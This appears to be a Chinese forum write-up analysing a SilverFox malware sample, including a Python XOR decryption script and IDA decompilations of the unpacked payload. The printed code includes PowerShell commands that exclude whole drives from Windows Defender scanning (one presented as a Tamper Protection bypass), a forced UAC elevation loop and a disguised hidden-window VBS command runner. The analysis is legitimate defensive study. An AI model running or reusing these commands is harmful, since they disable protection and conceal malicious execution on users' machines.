到现在差不多他解密的流程已经出来了，现在有两种方式dump出最后的解密文件，1.动调，2.写脚本解`payload_C2_v2.bin`，每字节 ⊕ key\[位置 mod 20\]
## 脚本异或
```
d = open(r"C:\Users\sfoxlab1\Desktop\payload_C2_v2.bin","rb").read()

# [1] 钥匙就在文件里（0xBC80，20 字节）
key = d[0xBC80:0xBC94]
print("[1] 密钥:", key.decode())

# [2] 剥第二层：主体 [0x24, 0xDE2C) 每字节 ⊕ key[位置 mod 20]
body = bytes(b ^ key[i % 20] for i, b in enumerate(d[0x24:0xDE2C]))
print("[2] 主体解密完成，kernel32.dll @", hex(body.find(b"kernel32.dll")))

# [3] 按 layer-1 逻辑裁真身：
#     sub_BF8D: HeapAlloc(48645) ← 从 blob 偏移 0x2D 复制 48645 字节 → sub_D83D 解密
#     blob 0x2D = 本文件偏移 0x09
real = body[0x09 : 0x09 + 0xBE05]
open(r"C:\Users\sfoxlab1\Desktop\payload_real_static.bin","wb").write(real)
print("[3] 已保存 payload_real_static.bin，大小 =", hex(len(real)), "(应 0xBE05)")

# [4] 自检
print("[4] 开头 16 字节:", real[:16].hex(" "))
print("    kernel32.dll:", b"kernel32.dll" in real,
      "| SOFTWARE\\JDBCC:", b"SOFTWARE\\JDBCC" in real,
      "| checktime.vbs:", b"checktime.vbs" in real)
```
最后生成`payload_real_static.bin`
控制台打印
![image.png](upload/attach/202610/1087822_PAZMP3QPCDD65SU.png)

## todo动调

# 分析`payload_real_static.bin`

用ida打开，`MetaPC (disassemble all opcodes)`,  勾选`Load as code segment`
![image.png](upload/attach/202610/1087822_YNXNV8488KSPS94.png)

hhhhhh,然后就拿到了所有的payload，这里就列举几个

```
__int64 __fastcall sub_18D5(int a1, int a2, __int64 a3, __int64 a4, int a5, int a6)
{
  int v6; // edi
  int v7; // esi
  int v8; // r8d
  int v9; // r9d
  int v10; // edi
  int v11; // esi
  int v12; // r8d
  int v13; // r9d
  int v14; // edi
  int v15; // esi
  int v16; // r8d
  int v17; // r9d
  __int64 v18; // rax
  __int64 v19; // rdi
  __int64 v20; // rsi
  __int64 v21; // rdi
  __int64 v22; // rsi
  __int64 v23; // rdx
  __int64 v24; // rdi
  __int64 v25; // rsi
  char v27[16]; // [rsp+30h] [rbp-B8h] BYREF
  char v28[16]; // [rsp+40h] [rbp-A8h] BYREF
  char v29[16]; // [rsp+50h] [rbp-98h] BYREF
  char v30[24]; // [rsp+60h] [rbp-88h] BYREF
  char v31[24]; // [rsp+78h] [rbp-70h] BYREF
  char v32[24]; // [rsp+90h] [rbp-58h] BYREF
  unsigned int v33; // [rsp+A8h] [rbp-40h]
  unsigned int v34; // [rsp+ACh] [rbp-3Ch] BYREF
  __int64 v35; // [rsp+B0h] [rbp-38h] BYREF
  __int64 (*v36)(void); // [rsp+C0h] [rbp-28h]
  unsigned int (__fastcall *v37)(__int64, __int64, __int64, __int64, __int64 *); // [rsp+C8h] [rbp-20h]
  unsigned int (__fastcall *v38)(__int64, __int64, __int64, __int64, unsigned int *, __int64); // [rsp+D0h] [rbp-18h]
  void (__fastcall *v39)(__int64, __int64, __int64, __int64); // [rsp+D8h] [rbp-10h]

v33 = 0;
  strcpy(v28, "kernel32.dll");
  strcpy(v31, "GetCurrentProcess");
  v36 = (__int64 (*)(void))sub_C75(a1, a2, a3: (unsigned int)v31, a4: (unsigned int)v28, a5, a6);
  strcpy(v27, "Advapi32.dll");
  strcpy(v30, "OpenProcessToken");
  strcpy(v32, "GetTokenInformation");
  v37 = (unsigned int (__fastcall *)(__int64, __int64, __int64, __int64, __int64 *))sub_C75(
                                                                                      a1: v6,
                                                                                      a2: v7,
                                                                                      a3: (unsigned int)v30,
                                                                                      a4: (unsigned int)v27,
                                                                                      a5: v8,
                                                                                      a6: v9);
  v38 = (unsigned int (__fastcall *)(__int64, __int64, __int64, __int64, unsigned int *, __int64))sub_C75(
                                                                                                    a1: v10,
                                                                                                    a2: v11,
                                                                                                    a3: (unsigned int)v32,
                                                                                                    a4: (unsigned int)v27,
                                                                                                    a5: v12,
                                                                                                    a6: v13);
  strcpy(v29, "CloseHandle");
  v39 = (void (__fastcall *)(__int64, __int64, __int64, __int64))sub_C75(
                                                                   a1: v14,
                                                                   a2: v15,
                                                                   a3: (unsigned int)v29,
                                                                   a4: (unsigned int)v28,
                                                                   a5: v16,
                                                                   a6: v17);
  v18 = v36();
  if ( v37(a1: v19, a2: v20, a3: 8, a4: v18, a5: &v35) != 0 )
  {
    if ( v38(a1: v21, a2: v22, a3: 20, a4: v35, a5: &v34, a6: 4) != 0 )
      v33 = v34;
    v39(a1: v24, a2: v25, a3: v23, a4: v35);
  }
  return v33;
}
```

这就是“自我提权重启”——当前实例没管理员权限时，用 `runas` 动词重新启动自己（弹 UAC），新实例带着 `"plp"` 参数以管理员身份运行，旧实例退出。**注意第②步是无限循环：如果你拒绝 UAC 弹窗，它会一直弹到你同意为止**（吵闹但有效的手法）。`sub_18D5` 就是“我是否已经是管理员”的判断。

```
__int64 sub_2295()
{
  __int64 result; // rax
  int v1; // edi
  int v2; // esi
  int v3; // r8d
  int v4; // r9d
  __int64 v5; // rdi
  __int64 v6; // rsi
  __int64 v7; // rdi
  __int64 v8; // rsi
  void (__fastcall *v9)(__int64, __int64, const char *, _QWORD, const char *, const char *); // [rsp+38h] [rbp-30h]
  char v10[16]; // [rsp+40h] [rbp-28h] BYREF
  char v11[24]; // [rsp+50h] [rbp-18h] BYREF

result = sub_1FB5();
  if ( (_DWORD)result != 0 )
  {
    strcpy(v10, "Shell32.dll");
    strcpy(v11, "ShellExecuteA");
    v9 = (void (__fastcall *)(__int64, __int64, const char *, _QWORD, const char *, const char *))sub_C75(
                                                                                                    a1: v1,
                                                                                                    a2: v2,
                                                                                                    a3: (unsigned int)v11,
                                                                                                    a4: (unsigned int)v10,
                                                                                                    a5: v3,
                                                                                                    a6: v4);
    v9(
      a1: v5,
      a2: v6,
      a3: "open",
      a4: 0,
      a5: "powershell.exe",
      a6: "Add-MpPreference -ExclusionPath 'C:\\Windows','C:\\Windows\\Temp','C:\\ProgramData','C:\\Users','C:\\Program Files"
      " (x86)','C:\\' -Force");
    result = ((__int64 (__fastcall *)(__int64, __int64, char *, _QWORD, const char *, const char *))v9)(
               a1: v7,
               a2: v8,
               a3: "open",
               a4: 0,
               a5: "powershell.exe",
               a6: "try {$null = icim MSFT_MpPreference @{ExclusionPath = @('C:\\','C:\\Users','C:\\Windows\\Temp','C:\\Windo"
               "ws','C:\\ProgramData','C:\\Program Files (x86)'); Force = $True} Add -Namespace root/Microsoft/Windows/De"
               "fender -EA 1} catch{$host.SetShouldExit($_.Exception.HResult)}");
    if ( (_DWORD)result == 0 )
      return 1;
  }
  return result;
}
```
`icim` = `Invoke-CimMethod`——不走 `Add-MpPreference` 命令行，而是**直连 WMI 的 MSFT_MpPreference 提供者**改 Defender 排除项。为什么发两发？因为第一发会被 **篡改保护（Tamper Protection）** 拦截，第二发绕过 cmdlet 层直接操作 WMI——这是当前主流的 Defender 排除绕过手法。

```
__int64 __fastcall sub_8F35(__int64 a1, int a2, int a3, int a4, __int64 a5, int a6)
{
  int v6; // edi
  int v7; // esi
  int v8; // r8d
  int v9; // r9d
  int v10; // edi
  int v11; // esi
  int v12; // r8d
  int v13; // r9d
  int v14; // edi
  int v15; // esi
  int v16; // r8d
  int v17; // r9d
  int v18; // edi
  int v19; // esi
  int v20; // r8d
  int v21; // r9d
  int v22; // edi
  int v23; // esi
  int v24; // r8d
  int v25; // r9d
  int v26; // edi
  int v27; // esi
  int v28; // r8d
  int v29; // r9d
  int v30; // edi
  int v31; // esi
  int v32; // r8d
  int v33; // r9d
  __int64 v34; // rdi
  __int64 v35; // rsi
  int v36; // esi
  int v37; // r8d
  int v38; // r9d
  int v39; // edi
  int v40; // esi
  int v41; // r8d
  int v42; // r9d
  int v43; // edi
  int v44; // esi
  int v45; // r8d
  int v46; // r9d
  int v47; // edi
  int v48; // esi
  int v49; // r8d
  int v50; // r9d
  int v51; // edi
  int v52; // esi
  int v53; // r8d
  int v54; // r9d
  int v55; // edi
  int v56; // esi
  int v57; // r8d
  int v58; // r9d
  int v59; // edx
  int v60; // edi
  int v61; // esi
  int v62; // r8d
  int v63; // r9d
  unsigned int v64; // eax
  __int64 v65; // rdi
  __int64 v66; // rsi
  __int64 v67; // rdx
  __int64 v68; // rdi
  __int64 v69; // rsi
  int v70; // edx
  int v71; // edi
  int v72; // esi
  int v73; // r8d
  int v74; // r9d
  __int64 v75; // rax
  __int64 v76; // rdi
  __int64 v77; // rsi
  int v78; // edi
  int v79; // esi
  int v80; // r9d
  __int64 v82; // [rsp+0h] [rbp-618h]
  __int64 v83; // [rsp+8h] [rbp-610h]
  char v84[16]; // [rsp+40h] [rbp-5D8h] BYREF
  char v85[16]; // [rsp+50h] [rbp-5C8h] BYREF
  char v86[16]; // [rsp+60h] [rbp-5B8h] BYREF
  char v87[16]; // [rsp+70h] [rbp-5A8h] BYREF
  char v88[16]; // [rsp+80h] [rbp-598h] BYREF
  char v89[16]; // [rsp+90h] [rbp-588h] BYREF
  char v90[24]; // [rsp+A0h] [rbp-578h] BYREF
  __int64 v91; // [rsp+B8h] [rbp-560h]
  __int64 v92; // [rsp+C0h] [rbp-558h]
  _BYTE v93[4]; // [rsp+C8h] [rbp-550h] BYREF
  int v94; // [rsp+CCh] [rbp-54Ch]
  __int64 (__fastcall *v95)(__int64, __int64, __int64, _BYTE *, _QWORD, _QWORD); // [rsp+D0h] [rbp-548h]
  __int64 (__fastcall *v96)(__int64, __int64, _BYTE *, __int64, _QWORD, _BYTE *); // [rsp+D8h] [rbp-540h]
  void (__fastcall *v97)(__int64, __int64, __int64, __int64); // [rsp+E0h] [rbp-538h]
  __int64 (*v98)(void); // [rsp+E8h] [rbp-530h]
  __int64 (__fastcall *v99)(__int64, __int64, __int64, __int64, __int64); // [rsp+F0h] [rbp-528h]
  __int64 v100; // [rsp+F8h] [rbp-520h]
  _BYTE v101[260]; // [rsp+100h] [rbp-518h] BYREF
  int v102; // [rsp+204h] [rbp-414h] BYREF
  _BYTE v103[1024]; // [rsp+210h] [rbp-408h] BYREF
  __int64 v104; // [rsp+610h] [rbp-8h] BYREF

memset(v101, 0, sizeof(v101));
  sub_4815(a1: (unsigned int)&v102, a2, a3: a4, a4: (unsigned int)v101, a5: 260, a6);
  sub_48C5(a1: v6, a2: v7, a3: (unsigned int)"checktime.vbs", a4: (unsigned int)v101, a5: v8, a6: v9);
  strcpy(v84, "kernel32.dll");
  strcpy(v89, "GetProcessHeap");
  strcpy(v86, "HeapAlloc");
  strcpy(v87, "CreateFileA");
  strcpy(v85, "WriteFile");
  strcpy(v88, "CloseHandle");
  strcpy(v90, "FlushFileBuffers");
  v97 = (void (__fastcall *)(__int64, __int64, __int64, __int64))sub_C75(
                                                                   a1: v10,
                                                                   a2: v11,
                                                                   a3: (unsigned int)v90,
                                                                   a4: (unsigned int)v84,
                                                                   a5: v12,
                                                                   a6: v13);
  v95 = (__int64 (__fastcall *)(__int64, __int64, __int64, _BYTE *, _QWORD, _QWORD))sub_C75(
                                                                                      a1: v14,
                                                                                      a2: v15,
                                                                                      a3: (unsigned int)v87,
                                                                                      a4: (unsigned int)v84,
                                                                                      a5: v16,
                                                                                      a6: v17);
  v96 = (__int64 (__fastcall *)(__int64, __int64, _BYTE *, __int64, _QWORD, _BYTE *))sub_C75(
                                                                                       a1: v18,
                                                                                       a2: v19,
                                                                                       a3: (unsigned int)v85,
                                                                                       a4: (unsigned int)v84,
                                                                                       a5: v20,
                                                                                       a6: v21);
  v100 = sub_C75(a1: v22, a2: v23, a3: (unsigned int)v88, a4: (unsigned int)v84, a5: v24, a6: v25);
  v98 = (__int64 (*)(void))sub_C75(a1: v26, a2: v27, a3: (unsigned int)v89, a4: (unsigned int)v84, a5: v28, a6: v29);
  v99 = (__int64 (__fastcall *)(__int64, __int64, __int64, __int64, __int64))sub_C75(
                                                                               a1: v30,
                                                                               a2: v31,
                                                                               a3: (unsigned int)v86,
                                                                               a4: (unsigned int)v84,
                                                                               a5: v32,
                                                                               a6: v33);
  v91 = v95(a1: v34, a2: v35, a3: 0x40000000, a4: v101, a5: 0, a6: 0);
  memset(v103, 0, sizeof(v103));
  v103[0] = 0;
  sub_48C5(
    a1: (unsigned int)&v104,
    a2: v36,
    a3: (unsigned int)"On Error Resume Next\r\n",
    a4: (unsigned int)v103,
    a5: v37,
    a6: v38);
  sub_48C5(
    a1: v39,
    a2: v40,
    a3: (unsigned int)"Set WShell = CreateObject(\"WScript.Shell\")\r\n",
    a4: (unsigned int)v103,
    a5: v41,
    a6: v42);
  sub_48C5(a1: v43, a2: v44, a3: (unsigned int)"WShell.Run \"\"\"", a4: (unsigned int)v103, a5: v45, a6: v46);
  sub_48C5(a1: v47, a2: v48, a3, a4: (unsigned int)v103, a5: v49, a6: v50);
  sub_48C5(a1: v51, a2: v52, a3: (unsigned int)"\"\"\", 0, False\r\n", a4: (unsigned int)v103, a5: v53, a6: v54);
  sub_48C5(
    a1: v55,
    a2: v56,
    a3: (unsigned int)"Set WShell = Nothing\r\nWScript.Quit\r\n",
    a4: (unsigned int)v103,
    a5: v57,
    a6: v58);
  v64 = sub_8EF5(a1: v60, a2: v61, a3: v59, a4: (unsigned int)v103, a5: v62, a6: v63);
  v94 = v96(a1: v65, a2: v66, a3: v103, a4: v91, a5: v64, a6: v93);
  v97(a1: v68, a2: v69, a3: v67, a4: v91);
  sub_5CB5(a1: v71, a2: v72, a3: v70, a4: (unsigned int)v101, a5: v73, a6: v74);
  v75 = v98();
  v92 = v99(a1: v76, a2: v77, a3: 8, a4: v75, a5: 261);
  sub_4945(a1: v78, a2: v79, a3: (unsigned int)v101, a4: v92, a5: 261, a6: v80, a7: v82, a8: v83);
  return v92;
}
```
**这是个通用的“隐形命令执行器”**：调用者给它任何命令，它就包一层 VBS（`WShell.Run "...", 0, False`——**隐藏窗口、不等待**）写成 `checktime.vbs` 落盘，返回路径。文件名叫 "checktime" 纯属伪装。它被谁调用、传了什么命令，决定了它的真实用途（可能不止调用一次）。

样本取自755K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5i4A6S2j5i4u0Q4x3X3g2S2j5Y4g2K6k6g2)9J5k6h3y4Z5i4K6u0r3j5Y4u0G2N6%4y4W2i4K6u0r3N6r3q4Y4i4K6u0r3f1$3W2D9N6X3g2J5c8X3!0^5i4K6u0r3
样本：524b0b9f10daa60f347cf8f906fd79fa43855df1d5fef2b9a58a90d543c5fdf4.exe（38 MB，x64，来自 abuse.ch/bazaar 的 SilverFox 标签页）环境：VMware Win11 虚拟机 + IDA（静态）+ x64dbg（动态），宿主机 Python 3.14

用DIE打开看一下这个exe文件

查看签名，发现是空的

查看版本

我们用PE-bear打开看一下有哪些导入表

静态加载的dll没啥，有可能是动态加载的dll.我们去ida里搜索一下%s.dll

发现是crypto\dso\dso_win32.c,是 OpenSSL 源码路径。Windows 上 OpenSSL 用 DSO（动态库）加载引擎时，就是 "%s.dll" 这种拼法。6MB 的业务/打印相关程序里链一份 OpenSSL 很常见.

我们直接静态分析一下

ida打开exe文件
start函数

我们看第一个函数

这个函数是栈保护函数，常数 47936899621426 = 0x2B992DDFA232，这是 MSVC 默认栈保护cookie

我们看第二个函数sub_401161

看下函数401196函数的汇编

分析汇编

call sub_401190

单纯恶心，rdtscp 循环，等到 CPU 时间戳差 ≥ 0xEE6B2800 + 单步调试的循环了16 * 82354371，继续往下看汇编

rax = 0 -> loc_401190 ，rax != 0 -> loc_401440,这里我们ida动调一下看看rax的值到底是多少，发现rax = 2 -> ZF = 0 -> jz不成立，所以只能跳转loc_401440

先看loc_401190

enter 0FFFFFFFFFFFF8348h帧大小被写成一个大到离谱的数,所以这个分支会直接退出

再看loc_401440

loc_401440->loc_4023D5->loc_402A4E->loc_4023D5->sub_4032EB->sub_4039A9，会循环1963664186次才跳出循环执行后面的函数sub_4032EB->sub_4039A9

sub_4032EB函数

0x7FFE0000这是 Windows 映射给每个进程的只读页，里面有中断时间、Tick、倍率等。常见偏移：

sub_4039A9

VirtualAlloc(lpAddress: nullptr, dwSize: 0xDE7Au, flAllocationType: 0x1000u, flProtect: 0x40u) 作用是向系统要一块虚拟内存，
lpAddress — 想要的起始地址
dwSize — 要多少字节
flAllocationType — 怎么分配

flProtect — 页权限

unk_42D10D这个数据会复制到VirtualAlloc开辟的区间，然后就跳转到r11寄存器了，于是动调一下r11寄存器看看是怎么个事，打开x64dbg,在0x403A39打断点，看看寄存器的值

此时寄存器RSI = 0x0299DE7A,RDI = 0x0043AF87,R12 = R11 = 0x02990000,RAX = 0x00403AE4
说明sub_4039A9这个函数执行完之后就跳转到了0x02990000这个地址，然后我们直接ctrl + G跳转到这个内存看看

直接在x64dbg中dump出来

用ida打开这个bin文件

然后x64dbg单步F8

发现RIP刚好指到了0x2990000的位置，并且第一条就是call 299DE2D,偏移和ida里显示的一样，感觉像是加载器在运行期动态构造解密桩

看一下299DE2D

动调进入299DE2D函数，这时候那四个字节应该解密完成，我们dump出来看一眼

savedata C:\Users\sfoxlab1\Desktop\patch_applied.bin, 0x2990000, 0xDE7A, 用ida打开看一眼是不是解密出一部分代码了

x64dbg

ida

用滚动异或，把 0x2990024～0x299DE2C 解开。

那就在x64dbg里在0x2990024打硬件断点bphws 0x2990024,然后再dump出解密的部分savedata C:\Users\sfoxlab1\Desktop\payload_C2_v2.bin, 0x2990000, 0xDE7A

打开看一下

发现还是没有解密成功，x64dbg往下继续执行吧，看看有没有发现

下一步0000000002990028 | E9 60BF0000 | jmp 299BF8D,我们直接在ida里看一下BF8D

这一块应该就是解密的核心函数了

登录后可查看完整内容

传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！！

mb_rmvnfvjb	+10.00	2026/10/01	感谢分享～
mb_ifcfsukk	+1.00	2026/10/01	感谢分享～

xieyuzhe 雪币： 339 活跃值： (50) 能力值： ( LV2，RANK：10 ) 在线值：发帖 3 回帖 124 粉丝 0 关注私信	xieyuzhe 2 楼厉害啊 2026-10-5 23:52 0
L0N3Wo1F 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	L0N3Wo1F 3 楼强强强 2026-10-7 10:51 0
mb_hdskxhmo 雪币： 421 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 19 粉丝 0 关注私信	mb_hdskxhmo 4 楼这类分析如果能补充目标版本、运行环境和关键日志，复现与讨论会更准确。 2026-10-13 11:55 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复